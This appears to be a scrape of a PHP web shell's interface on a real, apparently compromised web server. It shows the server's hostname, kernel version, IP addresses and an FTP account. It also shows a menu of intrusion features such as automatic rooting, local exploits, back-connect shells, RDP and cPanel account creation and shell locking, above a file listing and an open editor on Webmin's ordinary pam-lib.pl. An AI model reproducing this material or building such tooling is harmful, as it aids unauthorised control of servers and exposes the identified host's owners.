Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
pam /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
245
B
-rw-r--r--
backup_config.pl
807
B
-rwxr-xr-x
cgi_args.pl
283
B
-rwxr-xr-x
config-cobalt-linux
251
B
-rw-r--r--
config-coherent-linux
252
B
-rw-r--r--
config-corel-linux
240
B
-rw-r--r--
config-debian-linux
256
B
-rw-r--r--
config-generic-linux
252
B
-rw-r--r--
config-gentoo-linux
240
B
-rw-r--r--
config-macos
67
B
-rw-r--r--
config-mandrake-linux
252
B
-rw-r--r--
config-msc-linux
252
B
-rw-r--r--
config-open-linux
252
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
252
B
-rw-r--r--
config-openmamba-linux
252
B
-rw-r--r--
config-pardus-linux
252
B
-rw-r--r--
config-redhat-linux
268
B
-rw-r--r--
config-slackware-linux
240
B
-rw-r--r--
config-sol-linux
246
B
-rw-r--r--
config-suse-linux
252
B
-rw-r--r--
config-syno-linux
252
B
-rw-r--r--
config-trustix-linux
252
B
-rw-r--r--
config-turbo-linux
252
B
-rw-r--r--
config-united-linux
252
B
-rw-r--r--
config.info
193
B
-rw-r--r--
config.info.ca
207
B
-rw-r--r--
config.info.cs
197
B
-rw-r--r--
config.info.de
218
B
-rw-r--r--
config.info.es
219
B
-rw-r--r--
config.info.fr
216
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ja
229
B
-rw-r--r--
config.info.ko
176
B
-rw-r--r--
config.info.nl
222
B
-rw-r--r--
config.info.no
200
B
-rw-r--r--
config.info.pl
161
B
-rw-r--r--
config.info.ru
304
B
-rw-r--r--
config.info.sv
176
B
-rw-r--r--
config.info.uk
305
B
-rw-r--r--
cpan_modules.pl
76
B
-rwxr-xr-x
create_form.cgi
1022
B
-rwxr-xr-x
create_pam.cgi
1.78
KB
-rwxr-xr-x
delete_pam.cgi
280
B
-rwxr-xr-x
edit_inc.cgi
1.54
KB
-rwxr-xr-x
edit_mod.cgi
2.28
KB
-rwxr-xr-x
edit_pam.cgi
3.89
KB
-rwxr-xr-x
feedback_files.pl
182
B
-rwxr-xr-x
index.cgi
1.14
KB
-rwxr-xr-x
install_check.pl
331
B
-rwxr-xr-x
log_parser.pl
1
KB
-rwxr-xr-x
module.info
248
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
137
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
204
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
230
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
223
B
-rw-r--r--
module.info.ca
133
B
-rw-r--r--
module.info.ca.auto
12
B
-rw-r--r--
module.info.cs
24
B
-rw-r--r--
module.info.cs.auto
114
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
135
B
-rw-r--r--
module.info.de
153
B
-rw-r--r--
module.info.de.auto
12
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
237
B
-rw-r--r--
module.info.es
27
B
-rw-r--r--
module.info.es.auto
115
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
141
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
219
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
129
B
-rw-r--r--
module.info.fr
0
B
-rw-r--r--
module.info.fr.auto
156
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
161
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
157
B
-rw-r--r--
module.info.hu
28
B
-rw-r--r--
module.info.hu.auto
152
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
142
B
-rw-r--r--
module.info.ja
19
B
-rw-r--r--
module.info.ja.auto
118
B
-rw-r--r--
module.info.ko
19
B
-rw-r--r--
module.info.ko.auto
124
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
157
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
157
B
-rw-r--r--
module.info.ms
138
B
-rw-r--r--
module.info.ms.auto
12
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
142
B
-rw-r--r--
module.info.nl
26
B
-rw-r--r--
module.info.nl.auto
124
B
-rw-r--r--
module.info.no
26
B
-rw-r--r--
module.info.no.auto
108
B
-rw-r--r--
module.info.pl
30
B
-rw-r--r--
module.info.pl.auto
116
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
141
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
150
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
141
B
-rw-r--r--
module.info.ru
41
B
-rw-r--r--
module.info.ru.auto
172
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
147
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
160
B
-rw-r--r--
module.info.sv
26
B
-rw-r--r--
module.info.sv.auto
112
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
317
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
168
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
223
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
251
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
167
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
109
B
-rw-r--r--
module.info.zh_TW
22
B
-rw-r--r--
module.info.zh_TW.auto
100
B
-rw-r--r--
move.cgi
586
B
-rwxr-xr-x
pam-lib.pl
3.77
KB
-rwxr-xr-x
pam_cracklib.so.pl
715
B
-rwxr-xr-x
pam_deny.so.pl
51
B
-rwxr-xr-x
pam_env.so.pl
1.48
KB
-rwxr-xr-x
pam_filter.so.pl
53
B
-rwxr-xr-x
pam_group.so.pl
1.36
KB
-rwxr-xr-x
pam_listfile.so.pl
1.59
KB
-rwxr-xr-x
pam_mail.so.pl
1.34
KB
-rwxr-xr-x
pam_motd.so.pl
534
B
-rwxr-xr-x
pam_nologin.so.pl
54
B
-rwxr-xr-x
pam_permit.so.pl
53
B
-rwxr-xr-x
pam_pwdb.so.pl
967
B
-rwxr-xr-x
pam_rhosts_auth.so.pl
1.13
KB
-rwxr-xr-x
pam_rootok.so.pl
53
B
-rwxr-xr-x
pam_securetty.so.pl
535
B
-rwxr-xr-x
pam_shells.so.pl
533
B
-rwxr-xr-x
pam_stack.so.pl
491
B
-rwxr-xr-x
pam_tally.so.pl
1.23
KB
-rwxr-xr-x
pam_time.so.pl
1.24
KB
-rwxr-xr-x
pam_unix.so.pl
1.76
KB
-rwxr-xr-x
pam_wheel.so.pl
866
B
-rwxr-xr-x
save_inc.cgi
954
B
-rwxr-xr-x
save_incs.cgi
844
B
-rwxr-xr-x
save_mod.cgi
1.56
KB
-rwxr-xr-x
template.pl
162
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pam-lib.pl
# pam-lib.pl # Functions for manipulating the PAM services file(s) BEGIN { push(@INC, ".."); }; use WebminCore; &init_config(); # get_pam_config() # Returns a list of services and their modules sub get_pam_config { local @rv; local @ignore = split(/\s+/, $config{'ignore'}); opendir(DIR, &translate_filename($config{'pam_dir'})); FILE: foreach $f (readdir(DIR)) { next if ($f =~ /^\./); foreach $i (@ignore) { next FILE if ($f =~ /^$i$/i); } local $serv = { 'name' => $f, 'file' => "$config{'pam_dir'}/$f", 'index' => scalar(@rv) }; local $lnum = 0; &open_tempfile(FILE, $serv->{'file'}); while(<FILE>) { s/\r|\n//g; if (/^\s*#+\s*description:\s*([A-Za-z].*)/i && !$serv->{'mods'}) { $serv->{'desc'} = $1; } s/#.*$//g; if (/^\s*\@include\s+(\S+)/) { # Special include line local $mod = { 'include' => $1, 'line' => $lnum, 'index' => @{$serv->{'mods'}}+0 }; push(@{$serv->{'mods'}}, $mod); } elsif (/^\s*(\S+)\s+\[([^\]]*)\]\s+(\S+)\s*(.*)$/) { # Line with special rules .. ignore for now } elsif (/^\s*(\S+)\s+(\S+)\s+(\S+)\s*(.*)$/) { # Regular line local $mod = { 'type' => $1, 'control' => $2, 'module' => $3, 'args' => $4, 'line' => $lnum, 'index' => @{$serv->{'mods'}}+0 }; push(@{$serv->{'mods'}}, $mod); } $lnum++; } &close_tempfile(FILE); push(@rv, $serv); } closedir(DIR); return @rv; } # create_module(service, &module) # Add a PAM module to some service sub create_module { local $lref = &read_file_lines("$config{'pam_dir'}/$_[0]"); push(@$lref, &module_line($_[1])); &flush_file_lines(); } # modify_module(service, &module) # Update a PAM module in some service sub modify_module { local $lref = &read_file_lines("$config{'pam_dir'}/$_[0]"); splice(@$lref, $_[1]->{'line'}, 1, &module_line($_[1])); &flush_file_lines(); } # delete_module(service, &module) # Delete a PAM module from some service sub delete_module { local $lref = &read_file_lines("$config{'pam_dir'}/$_[0]"); splice(@$lref, $_[1]->{'line'}, 1); &flush_file_lines(); } # swap_modules(service, &module1, &module2) # Swap two PAM module entries in a service sub swap_modules { local $lref = &read_file_lines("$config{'pam_dir'}/$_[0]"); local $line = $lref->[$_[1]->{'line'}]; $lref->[$_[1]->{'line'}] = $lref->[$_[2]->{'line'}]; $lref->[$_[2]->{'line'}] = $line; &flush_file_lines(); } # module_line(&module) # Returns text for a PAM module line sub module_line { if ($_[0]->{'include'}) { # Special include line return "\@include ".$_[0]->{'include'}; } else { # A regular module local $l = join("\t", $_[0]->{'type'}, $_[0]->{'control'}, $_[0]->{'module'}); $l .= "\t$_[0]->{'args'}" if ($_[0]->{'args'}); return $l; } } # list_modules() # Returns a list of all PAM shared libraries sub list_modules { local (@rv, %done, %hasmod); foreach $d (map { glob($_) } split(/\s+/, $config{'lib_dirs'})) { opendir(DIR, &translate_filename($d)); foreach $f (sort { $a cmp $b } readdir(DIR)) { local @st = stat(&translate_filename("$d/$f")); push(@rv, $f) if (!$done{$st[1]}++ && $f =~ /^pam_.*\.so$/); $hasmod{$f}++ if ($f =~ /^pam_.*\.so$/); } closedir(DIR); } foreach $q (split(/\s+/, $config{'mod_equiv'})) { local ($q1, $q2) = split(/=/, $q); if ($hasmod{$q2}) { @rv = grep { $_ ne $q1 } @rv; } } return sort { $a cmp $b } &unique(@rv); } # include_style(&pam) # Returns 1 if includes are done with pam_stack.so, 2 if done with include # lines, 3 if done with @include, 0 if not supported sub include_style { local ($pam) = @_; local @allmods = map { @{$_->{'mods'}} } @$pam; local ($atinc) = grep { $_->{'include'} } @allmods; local ($inc) = grep { $_->{'control'} eq 'include' } @allmods; local ($stack) = grep { $_ eq "pam_stack.so" } &list_modules(); return $atinc ? 3 : $inc ? 2 : $stack ? 1 : 0; } 1;
Close